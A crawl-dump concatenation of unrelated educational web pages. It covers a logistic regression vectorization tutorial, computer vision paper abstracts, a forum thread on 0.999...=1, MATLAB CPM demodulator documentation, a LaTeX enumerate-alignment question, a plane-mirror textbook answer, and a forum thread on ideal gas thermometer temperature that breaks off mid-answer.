\times 1$$ matrix (or a column vector), so when we transpose it we get $$\omega^T$$ which is a $$1 \times n_{x}$$ matrix (or a row vector) so multiplying $$\omega^T$$ with $$\textbf{X}$$ we get a $$1 \times m$$ matrix. Then we add a $$1 \times m$$ matrix $$b$$ to obtain $$\textbf{Z}$$. We will define matrix $$\textbf{Z}$$ by placing all $$z^{(i)}$$ values in a row vector : $$\textbf{Z}= \begin{bmatrix} z^{(1)} & z^{(2)} & \dots & z^{(m)} \end{bmatrix} = \omega^T \textbf{X} + b = \begin{bmatrix} \omega^T x^{(1)} +b & \omega^T x^{(2)} + b & \dots & \omega^T x^{(m)} + b \end{bmatrix}$$ In Python, we can easily implement the calculation of a matrix $$\textbf{Z}$$: $$\textbf{Z} = np.dot(\omega^T, \textbf{X}) + b$$ As we can see $$b$$ is defined as a scalar. When you add this vector to this real number, Python automatically takes this real number $$b$$ and expands it out to the $$1 \times m$$ row vector. This operation is called broadcasting, and more about it we will see at the end of this we will see at the end of this post. Matrix $$\textbf{A}$$ is defined as a $$1 \times m$$, wich we also got by stacking horizontaly values $$a^{(i)}$$ as we did with matrix $latex \textbf{Z}$: $$\textbf{A} = \begin{bmatrix} a^{(1)} & a^{(2)} & \dots & a^{(m)} \end{bmatrix} = \sigma (Z)$$ In Python, we can also calculate matrix $$\textbf{A}$$ with one line of code as follows (if we have defined sigmoid function as above) : $$\textbf{A} = sigmoid(\textbf{Z})$$ Vectorization of Logistic Regression In the previous post we saw that for the gradient computation we had to compute detivative $$dz$$ for every training example: $$dz^{(1)} = a^{(1)} – y^{(1)}$$ $$dz^{(2)} = a^{(2)} – y^{(2)}$$ $$\vdots$$ $$dz^{(m)} = a^{(m)} – y^{(m)}$$ In the same way, we have defined previous variables, now we will define matrix $$\textbf{dZ}$$, where we will stack all $$dz^{(i)}$$ variables horizontally, dimension of this matrix $$\textbf{dZ}$$ is $$1\times m$$ or alternatively a $$m$$ dimensional row vector . $$\textbf{dZ} = \begin{bmatrix} dz^{(1)} & dz^{(2)} & \dots & dz^{(m)} \end{bmatrix}$$ As we know that matrices $$\textbf{A}$$ and $$\textbf{Y}$$ are defined as follows: $$\textbf{A} = \begin{bmatrix} a^{(1)} & a^{(2)} & \dots & a^{(m)} \end{bmatrix}$$ $$\textbf{Y} = \begin{bmatrix} y^{(1)} & y^{(2)} & \dots & y^{(m)} \end{bmatrix}$$ We can see that $$\textbf{dZ}$$ is: $$\textbf{dZ} = \textbf{A} – \textbf{Y} = \begin{bmatrix} a^{(1)} – y^{(1)} & a^{(2)} – y^{(2)} & \dots & a^{(m)} – y^{(m)} \end{bmatrix}$$ and all values in $$\textbf{dZ}$$ can be computed at the same time. To implement Logistic Regression on code we did this: $$for \enspace i \enspace in \enspace range(m):$$ $$z^{(i)}=w^{T}x^{(i)}+b$$ $$a^{(i)}=\sigma (z^{(i)})$$ $$J+=- [\enspace y^{(i)} loga^{(i)}+(1-y^{(i)}) \enspace log(1-a^{(i)})) \enspace]$$ $$dz^{(i)}=a^{(i)}-y^{(i)}$$ $$dw_{1} \enspace +=x_{1}^{(i)}dz^{(i)} \enspace ()$$ $$dw_{2} \enspace+=x_2^{(i)}dz^{(i)} \enspace ()$$ $$db+=dz^{(i)}$$ After leaving the inner $$for$$ loop, we have divided $$J$$, $$\mathrm{d} w_{1}$$, $$\mathrm{d} w_{1}$$ and $$b$$ by $$m$$, because we computed their averages $$J/=m; \enspace dw_{1}/=m; \enspace dw_{2}/=m; \enspace db/=m;$$ This code was non-vectorized and highly inefficent so we need to transform it. First, using vectorization, we can transform equations $$()$$ and $$(**)$$ into one equation: $$dw += x^{(i)}dz^{(i)}$$ Remember that in this case we have two features, $$x_1$$ and $$x_2$$. If we had had more features, for example n features, we would have needed another for loop to calculate $$dw_{1}$$ … $$dw_{n}$$ . The cost function is : $$J = -\frac{1}{m}\sum_{i=1}^{m}y^{(i)}\log(a^{(i)})+(1-y^{(i)})\log(1-a^{(i)})$$ The derivatives are: $$\frac{\partial J}{\partial w} = dw = \frac{1}{m}\textbf{X}(\textbf{A}-\textbf{Y})^T$$ $$\frac{\partial J}{\partial b} = db = \frac{1}{m} \sum_{i=1}^m (a^{(i)}-y^{(i)})$$ To calculate $$w$$ and $$b$$ we will still need following $$for$$ loop. $$for \enspace i \enspace in \enspace range(num \enspace of \enspace iterations):$$ $$\textbf{Z}=w^{T}\textbf{X} + b$$ $$\textbf{A}=\sigma (\textbf{Z})$$ $$\textbf{dZ}=\textbf{A} – \textbf{Y}$$ $$dw\enspace = \frac{1}{m}np.dot(\textbf{X}, \textbf{dZ}^T)$$ $$db\enspace = \frac{1}{m}np.sum(\textbf{dZ})$$ $$w += -\alpha dw$$ $$b += -\alpha db$$ We don’t need to loop through entire training set, but still we need to loop through number of iterations and that’s a $$for$$ loop that we can’t get rid off. This post completes the Logistic regression. It can be seen as a one neuron neural network. Let’s see why, what and how about neural networks! In the next post we will learn what vectorization is.	2021-02-27 02:57:11	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 2, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9353715181350708, "perplexity": 702.2886690879884}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-10/segments/1614178358064.34/warc/CC-MAIN-20210227024823-20210227054823-00361.warc.gz"}
https://labs.tib.eu/arxiv/?author=Sergio%20Guadarrama	• ### The Devil is in the Decoder: Classification, Regression and GANs(1707.05847) Feb. 19, 2019 cs.CV Many machine vision applications, such as semantic segmentation and depth prediction, require predictions for every pixel of the input image. Models for such problems usually consist of encoders which decrease spatial resolution while learning a high-dimensional representation, followed by decoders who recover the original input resolution and result in low-dimensional predictions. While encoders have been studied rigorously, relatively few studies address the decoder side. This paper presents an extensive comparison of a variety of decoders for a variety of pixel-wise tasks ranging from classification, regression to synthesis. Our contributions are: (1) Decoders matter: we observe significant variance in results between different types of decoders on various problems. (2) We introduce new residual-like connections for decoders. (3) We introduce a novel decoder: bilinear additive upsampling. (4) We explore prediction artifacts. • ### Improved Image Captioning via Policy Gradient optimization of SPIDEr(1612.00370) March 12, 2018 cs.CV, cs.CL Current image captioning methods are usually trained via (penalized) maximum likelihood estimation. However, the log-likelihood score of a caption does not correlate well with human assessments of quality. Standard syntactic evaluation metrics, such as BLEU, METEOR and ROUGE, are also not well correlated. The newer SPICE and CIDEr metrics are better correlated, but have traditionally been hard to optimize for. In this paper, we show how to use a policy gradient (PG) method to directly optimize a linear combination of SPICE and CIDEr (a combination we call SPIDEr): the SPICE score ensures our captions are semantically faithful to the image, while CIDEr score ensures our captions are syntactically fluent. The PG method we propose improves on the prior MIXER approach, by using Monte Carlo rollouts instead of mixing MLE training with PG. We show empirically that our algorithm leads to easier optimization and improved results compared to MIXER. Finally, we show that using our PG method we can optimize any of the metrics, including the proposed SPIDEr metric which results in image captions that are strongly preferred by human raters compared to captions generated by the same model but trained to optimize MLE or the COCO metrics. • ### PixColor: Pixel Recursive Colorization(1705.07208) June 5, 2017 cs.CV, cs.LG We propose a novel approach to automatically produce multiple colorized versions of a grayscale image. Our method results from the observation that the task of automated colorization is relatively easy given a low-resolution version of the color image. We first train a conditional PixelCNN to generate a low resolution color for a given grayscale image. Then, given the generated low-resolution color image and the original grayscale image as inputs, we train a second CNN to generate a high-resolution colorization of an image. We demonstrate that our approach produces more diverse and plausible colorizations than existing methods, as judged by human raters in a "Visual Turing Test". • ### Speed/accuracy trade-offs for modern convolutional object detectors(1611.10012) April 25, 2017 cs.CV The goal of this paper is to serve as a guide for selecting a detection architecture that achieves the right speed/memory/accuracy balance for a given application and platform. To this end, we investigate various ways to trade accuracy for speed and memory usage in modern convolutional object detection systems. A number of successful systems have been proposed in recent years, but apples-to-apples comparisons are difficult due to different base feature extractors (e.g., VGG, Residual Networks), different default image resolutions, as well as different hardware and software platforms. We present a unified implementation of the Faster R-CNN [Ren et al., 2015], R-FCN [Dai et al., 2016] and SSD [Liu et al., 2015] systems, which we view as "meta-architectures" and trace out the speed/accuracy trade-off curve created by using alternative feature extractors and varying other critical parameters such as image size within each of these meta-architectures. On one extreme end of this spectrum where speed and memory are critical, we present a detector that achieves real time speeds and can be deployed on a mobile device. On the opposite end in which accuracy is critical, we present a detector that achieves state-of-the-art performance measured on the COCO detection task. • ### Semantic Instance Segmentation via Deep Metric Learning(1703.10277) March 30, 2017 cs.CV We propose a new method for semantic instance segmentation, by first computing how likely two pixels are to belong to the same object, and then by grouping similar pixels together. Our similarity metric is based on a deep, fully convolutional embedding model. Our grouping method is based on selecting all points that are sufficiently similar to a set of "seed points", chosen from a deep, fully convolutional scoring model. We show competitive results on the Pascal VOC instance segmentation benchmark. • ### Long-term Recurrent Convolutional Networks for Visual Recognition and Description(1411.4389) May 31, 2016 cs.CV Models based on deep convolutional networks have dominated recent image interpretation tasks; we investigate whether models which are also recurrent, or "temporally deep", are effective for tasks involving sequences, visual and otherwise. We develop a novel recurrent convolutional architecture suitable for large-scale visual learning which is end-to-end trainable, and demonstrate the value of these models on benchmark video recognition tasks, image description and retrieval problems, and video narration challenges. In contrast to current models which assume a fixed spatio-temporal receptive field or simple temporal averaging for sequential processing, recurrent convolutional models are "doubly deep"' in that they can be compositional in spatial and temporal "layers". Such models may have advantages when target concepts are complex and/or training data are limited. Learning long-term dependencies is possible when nonlinearities are incorporated into the network state updates. Long-term RNN models are appealing in that they directly can map variable-length inputs (e.g., video frames) to variable length outputs (e.g., natural language text) and can model complex temporal dynamics; yet they can be optimized with backpropagation. Our recurrent long-term models are directly connected to modern visual convnet models and can be jointly trained to simultaneously learn temporal dynamics and convolutional perceptual representations. Our results show such models have distinct advantages over state-of-the-art models for recognition or generation which are separately defined and/or optimized. • ### Compute Less to Get More: Using ORC to Improve Sparse Filtering(1409.4689) May 24, 2015 cs.CV, cs.LG Sparse Filtering is a popular feature learning algorithm for image classification pipelines. In this paper, we connect the performance of Sparse Filtering with spectral properties of the corresponding feature matrices. This connection provides new insights into Sparse Filtering; in particular, it suggests early stopping of Sparse Filtering. We therefore introduce the Optimal Roundness Criterion (ORC), a novel stopping criterion for Sparse Filtering. We show that this stopping criterion is related with pre-processing procedures such as Statistical Whitening and demonstrate that it can make image classification with Sparse Filtering considerably faster and more accurate. • ### LSDA: Large Scale Detection Through Adaptation(1407.5035) Nov. 1, 2014 cs.CV A major challenge in scaling object detection is the difficulty of obtaining labeled images for large numbers of categories. Recently, deep convolutional neural networks (CNNs) have emerged as clear winners on object classification benchmarks, in part due to training with 1.2M+ labeled classification images. Unfortunately, only a small fraction of those labels are available for the detection task. It is much cheaper and easier to collect large quantities of image-level labels from search engines than it is to collect detection data and label it with precise bounding boxes. In this paper, we propose Large Scale Detection through Adaptation (LSDA), an algorithm which learns the difference between the two tasks and transfers this knowledge to classifiers for categories without bounding box annotated data, turning them into detectors. Our method has the potential to enable detection for the tens of thousands of categories that lack bounding box annotations, yet have plenty of classification data. Evaluation on the ImageNet LSVRC-2013 detection challenge demonstrates the efficacy of our approach. This algorithm enables us to produce a >7.6K detector by using available classification data from leaf nodes in the ImageNet tree. We additionally demonstrate how to modify our architecture to produce a fast detector (running at 2fps for the 7.6K detector). Models and software are available at • ### Caffe: Convolutional Architecture for Fast Feature Embedding(1408.5093) June 20, 2014 cs.NE, cs.CV, cs.LG Caffe provides multimedia scientists and practitioners with a clean and modifiable framework for state-of-the-art deep learning algorithms and a collection of reference models. The framework is a BSD-licensed C++ library with Python and MATLAB bindings for training and deploying general-purpose convolutional neural networks and other deep models efficiently on commodity architectures. Caffe fits industry and internet-scale media needs by CUDA GPU computation, processing over 40 million images a day on a single K40 or Titan GPU ($\approx$ 2.5 ms per image). By separating model representation from actual implementation, Caffe allows experimentation and seamless switching among platforms for ease of development and deployment from prototyping machines to cloud environments. Caffe is maintained and developed by the Berkeley Vision and Learning Center (BVLC) with the help of an active community of contributors on GitHub. It powers ongoing research projects, large-scale industrial applications, and startup prototypes in vision, speech, and multimedia. • ### Approximate Robotic Mapping from sonar data by modeling Perceptions with Antonyms(1006.5827) June 30, 2010 cs.CL, cs.RO This work, inspired by the idea of "Computing with Words and Perceptions" proposed by Zadeh in 2001, focuses on how to transform measurements into perceptions for the problem of map building by Autonomous Mobile Robots. We propose to model the perceptions obtained from sonar-sensors as two grid maps: one for obstacles and another for empty spaces. The rules used to build and integrate these maps are expressed by linguistic descriptions and modeled by fuzzy rules. The main difference of this approach from other studies reported in the literature is that the method presented here is based on the hypothesis that the concepts "occupied" and "empty" are antonyms rather than complementary (as it happens in probabilistic approaches), or independent (as it happens in the previous fuzzy models). Controlled experimentation with a real robot in three representative indoor environments has been performed and the results presented. We offer a qualitative and quantitative comparison of the estimated maps obtained by the probabilistic approach, the previous fuzzy method and the new antonyms-based fuzzy approach. It is shown that the maps obtained with the antonyms-based approach are better defined, capture better the shape of the walls and of the empty-spaces, and contain less errors due to rebounds and short-echoes. Furthermore, in spite of noise and low resolution inherent to the sonar-sensors used, the maps obtained are accurate and tolerant to imprecision.	2020-03-30 15:17:11	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.42860785126686096, "perplexity": 1871.0731273173044}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-16/segments/1585370497171.9/warc/CC-MAIN-20200330150913-20200330180913-00167.warc.gz"}
https://brilliant.org/discussions/thread/doubt-6/	× Doubt Is 0.9999...=1 When I was solving this, I got the answer as 1 my solution Let x=0.999.. 10x=9.999... 10x-x =>9x=9 => x=1 Can anyone clarify my doubt Note by Vishal S 1 year, 3 months ago Sort by: Relevant Wiki page. · 1 year, 3 months ago Thanks for your help · 1 year, 3 months ago Yes, it is actually equal to one. · 1 year, 3 months ago	2017-03-25 22:00:56	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8141449689865112, "perplexity": 12371.248782831284}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-13/segments/1490218189083.86/warc/CC-MAIN-20170322212949-00418-ip-10-233-31-227.ec2.internal.warc.gz"}
http://www.mathworks.com/help/comm/ref/comm.cpmdemodulator-class.html?requestedDomain=www.mathworks.com&nocookie=true	Documentation This is machine translation Translated by Mouseover text to see original. Click the button below to return to the English verison of the page. comm.CPMDemodulator System object Package: comm Demodulate using CPM method and Viterbi algorithm Description The CPMDemodulator object demodulates a signal that was modulated using continuous phase modulation. The input is a baseband representation of the modulated signal. To demodulate a signal that was modulated using continuous phase modulation: 1. Define and set up your CPM demodulator object. See Construction. 2. Call step to demodulate a signal according to the properties of comm.CPMDemodulator. The behavior of step is specific to each object in the toolbox. Note: Starting in R2016b, instead of using the step method to perform the operation defined by the System object™, you can call the object with arguments, as if it were a function. For example, y = step(obj,x) and y = obj(x) perform equivalent operations. Construction H = comm.CPMDemodulator creates a demodulator System object, H. This object demodulates the input continuous phase modulated (CPM) data using the Viterbi algorithm. H = comm.CPMDemodulator(Name,Value) creates a CPM demodulator object, H, with each specified property set to the specified value. You can specify additional name-value pair arguments in any order as (Name1,Value1,...,NameN,ValueN). H = comm.CPMDemodulator(M,Name,Value) creates a CPM demodulator object, H, with the ModulationOrder property set to M, and the other specified properties set to the specified values. Properties ModulationOrder Size of symbol alphabet Specify the size of the symbol alphabet. The value of this property requires a power of two, real, integer scalar. The default is 4. BitOutput Output data as bits Specify whether the output consists of groups of bits or integer values. The default is false. When you set this property to false, the step method outputs a column vector of length equal to N/SamplesPerSymbol and with elements that are integers between -(ModulationOrder-1) and ModulationOrder–1. Here, N, is the length of the input signal which indicates the number of input baseband modulated symbols. When you set this property to true, the step method outputs a binary column vector of length equal to P$×$(N/SamplesPerSymbol), where P = log2(ModulationOrder). The output contains length-P bit words. In this scenario, the object first maps each demodulated symbol to an odd integer value, K, between –(ModulationOrder–1) and ModulationOrder–1. The object then maps K to the nonnegative integer (K+ModulationOrder–1)/2. Finally, the object maps each nonnegative integer to a length-P binary word, using the mapping specified in the SymbolMapping property. SymbolMapping Symbol encoding Specify the mapping of the demodulated symbols as one of Binary \| Gray. The default is Binary. This property determines how the object maps each demodulated integer symbol value (in the range 0 and ModulationOrder–1) to a P-length bit word, where P = log2(ModulationOrder). When you set this property to Binary, the object uses a natural binary-coded ordering. When you set this property to Gray, the object uses a Gray-coded ordering. This property applies when you set the BitOutput property to true. ModulationIndex Modulation index Specify the modulation index. The default is 0.5. The value of this property can be a scalar, h, or a column vector, [h0, h1, …. hH-1] where H-1 represents the length of the column vector. When hi varies from interval to interval, the object operates in multi-h. When the object operates in multi-h, hi must be a rational number. FrequencyPulse Frequency pulse shape Specify the type of pulse shaping that the modulator has used to smooth the phase transitions of the input modulated signal as one of Rectangular \| Raised Cosine \| Spectral Raised Cosine \| Gaussian \| Tamed FM. The default is Rectangular. MainLobeDuration Main lobe duration of spectral raised cosine pulse Specify, in number of symbol intervals, the duration of the largest lobe of the spectral raised cosine pulse. This value is the value that the modulatorused to pulse-shape the input modulated signal. The default is 1. This property requires a real, positive, integer scalar. This property applies when you set the FrequencyPulse property to Spectral Raised Cosine. RolloffFactor Rolloff factor of spectral raised cosine pulse Specify the roll off factor of the spectral raised cosine pulse. This value is the value that the modulator used to pulse-shape the input modulated signal. The default is 0.2. This property requires a real scalar between 0 and 1. This property applies when you set the FrequencyPulse property to Spectral Raised Cosine. BandwidthTimeProduct Product of bandwidth and symbol time of Gaussian pulse Specify the product of bandwidth and symbol time for the Gaussian pulse shape. This value is the value that the modulator used to pulse-shape the input modulated signal. The default is 0.3. This property requires a real, positive scalar. This property applies when you set the FrequencyPulse property to Gaussian. PulseLength Pulse length Specify the length of the frequency pulse shape in symbol intervals. The value of this property requires a real positive integer. The default is 1. SymbolPrehistory Symbol prehistory Specify the data symbols used by the modulator prior to the first call to the step method. The default is 1. This property requires a scalar or vector with odd integer elements between –(ModulationOrder–1) and (ModulationOrder–1). If the value is a vector, then its length must be one less than the value in the PulseLength property. InitialPhaseOffset Initial phase offset Specify the initial phase offset of the input modulated waveform in radians as a real, numeric scalar. The default is 0. SamplesPerSymbol Number of samples per input symbol Specify the expected number of samples per input symbol as a positive, integer scalar. The default is 8. TracebackDepth Traceback depth for Viterbi algorithm Specify the number of trellis branches that the Viterbi algorithm uses to construct each traceback path as a positive, integer scalar. The default is 16. The value of this property is also the output delay, which is the number of zero symbols that precede the first meaningful demodulated symbol in the output. OutputDataType Data type of output Specify the output data type as one of int8 \| int16 \| int32 \| double, when you set the BitOutput property to false. When you set the BitOutput property to true, specify the output data type as one of logical \| double. The default is double. Methods reset Reset states of CPM demodulator object step Demodulate using CPM method and Viterbi algorithm Common to All System Objects clone Create System object with same property values getNumInputs Expected number of inputs to a System object getNumOutputs Expected number of outputs of a System object isLocked Check locked states of a System object (logical) release Allow System object property value changes Examples expand all % Create a CPM modulator, an AWGN channel, and a CPM demodulator. hMod = comm.CPMModulator(8, 'BitInput', true, ... 'SymbolMapping', 'Gray'); hAWGN = comm.AWGNChannel('NoiseMethod', ... 'Signal to noise ratio (SNR)','SNR',0); hDemod = comm.CPMDemodulator(8, 'BitOutput', true, ... 'SymbolMapping', 'Gray'); % Create an error rate calculator, account for the delay caused by the Viterbi algorithm. delay = log2(hDemod.ModulationOrder)*hDemod.TracebackDepth; for counter = 1:100 % Transmit 100 3-bit words data = randi([0 1],300,1); modSignal = step(hMod, data); noisySignal = step(hAWGN, modSignal); end fprintf('Error rate = %f\nNumber of errors = %d\n', ... errorStats(1), errorStats(2)) Error rate = 0.004006 Number of errors = 120 Algorithms This object implements the algorithm, inputs, and outputs described on the CPM Demodulator Baseband block reference page. The object properties correspond to the block parameters.	2017-04-30 12:47:42	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 1, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5832626819610596, "perplexity": 2438.1212625129747}, "config": {"markdown_headings": false, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-17/segments/1492917125532.90/warc/CC-MAIN-20170423031205-00322-ip-10-145-167-34.ec2.internal.warc.gz"}
https://tex.stackexchange.com/questions/499394/align-long-text-under-itself-in-enumerate-list	# Align long text under itself in enumerate list Problem: I have a long text that is split into two sentences in a enumerate list. I wish for the text to be vertically center aligned with the item. Minimal Working Example (MWE): \documentclass{article} \usepackage{enumitem} \usepackage{amsmath} \begin{document} \noindent \begin{enumerate}[label=\textbf{\arabic}), itemsep=3ex] \item $\dfrac{3x + 1}{x - 1} \geq \dfrac{6x - 2}{x + 2} \Leftrightarrow \dfrac{3x + 1}{x - 1} - \dfrac{6x - 2}{x + 2} \geq 0 \Leftrightarrow (MGN = (x - 1)(x + 2))$ \item[] $\Leftrightarrow \dfrac{(3x + 1)(x + 2)}{(x - 1)(x + 2)}-\dfrac{(6x - 2)(x - 1)}{(x + 2)(x - 1)} \geq 0 \Leftrightarrow$ (This is a short sentence.) \item[] $\Leftrightarrow \dfrac{(3x + 1)(x + 2) - (6x - 2)(x - 1)}{(x - 1)(x + 2)} \geq 0 \Leftrightarrow$ (This is a long sentence that needs be beneath itself.) \item[] $\Leftrightarrow \dfrac{3x^{2} + 7x + 2 - \left(6x^{2} - 8x + 2\right)}{(x - 1)(x + 2)} \geq 0 \Leftrightarrow R(x) = \dfrac{-3x^{2} + 15x}{(x - 1)(x + 2)} \geq 0$ \end{enumerate} \end{document} Current output: Desired output: The text This is a long sentence that needs be beneath itself. should be under itself aligned vertically center to the right of the double arrow. \documentclass{article} \usepackage{enumitem} \usepackage{amsmath} \begin{document} %? \noindent \begin{enumerate}[label=\textbf{\arabic}), itemsep=3ex] \item $\dfrac{3x + 1}{x - 1} \geq \dfrac{6x - 2}{x + 2} \Leftrightarrow \dfrac{3x + 1}{x - 1} - \dfrac{6x - 2}{x + 2} \geq 0 \Leftrightarrow (MGN = (x - 1)(x + 2))$ \item[] $\Leftrightarrow \dfrac{(3x + 1)(x + 2)}{(x - 1)(x + 2)}-\dfrac{(6x - 2)(x - 1)}{(x + 2)(x - 1)} \geq 0 \Leftrightarrow$ (This is a short sentence.) \item[] $\Leftrightarrow \dfrac{(3x + 1)(x + 2) - (6x - 2)(x - 1)}{(x - 1)(x + 2)} \geq 0 \Leftrightarrow$ \parbox{4cm}{\centering (This is a long sentence that needs be beneath itself.)} \item[] $\Leftrightarrow \dfrac{3x^{2} + 7x + 2 - \left(6x^{2} - 8x + 2\right)}{(x - 1)(x + 2)} \geq 0 \Leftrightarrow R(x) = \dfrac{-3x^{2} + 15x}{(x - 1)(x + 2)} \geq 0$ \end{enumerate} \end{document}	2020-08-07 12:32:36	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9853647947311401, "perplexity": 3778.779977000662}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-34/segments/1596439737178.6/warc/CC-MAIN-20200807113613-20200807143613-00064.warc.gz"}
https://www.gradesaver.com/textbooks/science/physics/college-physics-7th-edition/chapter-23-mirrors-and-lenses-learning-path-questions-and-exercises-multiple-choice-questions-page-804/2	## College Physics (7th Edition) Plane mirrors form virtual, upright and unmagnified images. The object distance is equal to the absolute value of the image distance $d_{0}=\|d_{i}\|$ Hence, the answer is (d).	2021-10-16 06:55:45	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8986622095108032, "perplexity": 996.9383473095903}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323583423.96/warc/CC-MAIN-20211016043926-20211016073926-00050.warc.gz"}
https://mathhelpboards.com/threads/maths-in-temperature-and-ideal-gas-thermometer.28068/	# Maths in Temperature and ideal gas Thermometer #### Dhamnekar Winod ##### Active member Hi, I didn't understand the maths involved in the below article in regard to temperature and ideal gas thermometer. If any member knows it, may reply me. If triple point of water is fixed at 273.16 K, and experiments show that freezing point of air-saturated water is 273.15 K at 1 atm system pressure.(so, melting point of ice is also 273.15 K , then how triple point of water is $0.10^\circ C$ What is meant by real gas volume at thermal equilibrium with a system whose true temperature is $V_T$ be V. In this Math symbol$\big(\frac{\partial V}{\partial T}\big)_P$ what does subscript P indicate? My guess P means Partial. I am stuck here. If get the answers to my questions satisfactorily, i shall proceed further. #### Attachments • 97.8 KB Views: 0 #### topsquark ##### Well-known member MHB Math Helper What, specifically, is it that you don't understand? -Dan #### Klaas van Aarsen ##### MHB Seeker Staff member If triple point of water is fixed at 273.16 K, and experiments show that freezing point of air-saturated water is 273.15 K at 1 atm system pressure.(so, melting point of ice is also 273.15 K , then how triple point of water is $0.10^\circ C$ $0\,^\circ C$ is defined to be the freezing point of water at the standard 1 atm pressure. It corresponds to $273.15\,K$. Since the triple point of water is at $273.16\,K$, then that means that it corresponds to $0.01\,^\circ C$. What is meant by real gas volume at thermal equilibrium with a system whose true temperature is $V_T$ be V. In this Math symbol$\big(\frac{\partial V}{\partial T}\big)_P$ what does subscript P indicate? My guess P means Partial. I am stuck here. If get the answers to my questions satisfactorily, i shall proceed further. The subscript $P$ in the expression $\big(\frac{\partial V}{\partial T}\big)_P$ stands for the pressure $P$. It means that we take the derivative of $V$ with respect to $T$ while we keep the pressure $P$ constant. We have $V=\frac{RT}{P}$ for an ideal gas. When we take the derivative, we treat $P$ as a constant so that 